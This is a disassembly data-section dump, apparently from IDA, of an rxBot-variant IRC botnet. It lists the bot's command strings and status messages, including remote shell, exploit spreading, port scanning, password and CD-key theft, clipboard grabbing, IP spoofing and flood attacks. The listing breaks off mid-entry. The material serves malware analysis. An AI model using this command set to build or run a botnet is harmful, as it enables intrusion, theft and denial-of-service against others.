sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 10h aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00438304o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 4 aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 10h aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 10h aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 10h aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 10h aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao ; ___:00438634o unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:004382ECo ... unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:0043830Co ... unicode 0, <n>,0 unk_42BA0C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42BA6C dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42BA84 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42BA9C dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42BAE4 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42BB0C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42BB10 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42BB1C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42BB24 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42BB94 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42BBA8 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42BBAC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42BBBC dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42BBC0 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42BBC4 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42BC6C db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42BCA4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42BCD0 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42BD10 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42BD4C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42BD78 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42BDA4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42BDB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42BE64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42BEA0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42BED4 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BF14 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42BF40 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BF7C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BFA4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42BFB4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42BFC0 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42BFD0 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42BFE0 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42C014 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42C064 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42C0A8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42C0E4 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42C104 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42C108 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42C120 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42C158 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42C170 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42C18C dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42C1A8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42C1C4 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42C200 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42C224 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42C244 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42C264 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42C27C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42C29C db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42C2C4 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42C2F0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42C30C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42C324 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42C350 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42C374 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42C3A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C3CC db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42C3F0 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C42C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C468 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C4A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C4E0 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C51C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42C550 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42C570 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42C5A8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42C5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42C664 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42C6A4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BFCo ; sub_401ACD+4FA1o aAsn445 db 'asn445',0 ; DATA XREF: sub_401ACD+1BE7o align 4 dword_42C754 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 10h aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C7FC db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 10h unk_42C830 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C864 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C878 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C87C dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C888 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 10h aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 10h aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 10h aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 10h aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:004382C0o ... unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C948 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 10h unk_42C970 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 10h aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co ; ___:004382CCo ... unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 10h aS_0: ; DATA XREF: sub_401ACD+1662o ; ___:004382D8o ... unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_4382B0o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 10h aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 4 dword_42CA34 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 4 dword_42CA54 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42CA78 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 10h aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 10h aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42CAC8 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 10h aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42CB10 db 2Dh ; - ; 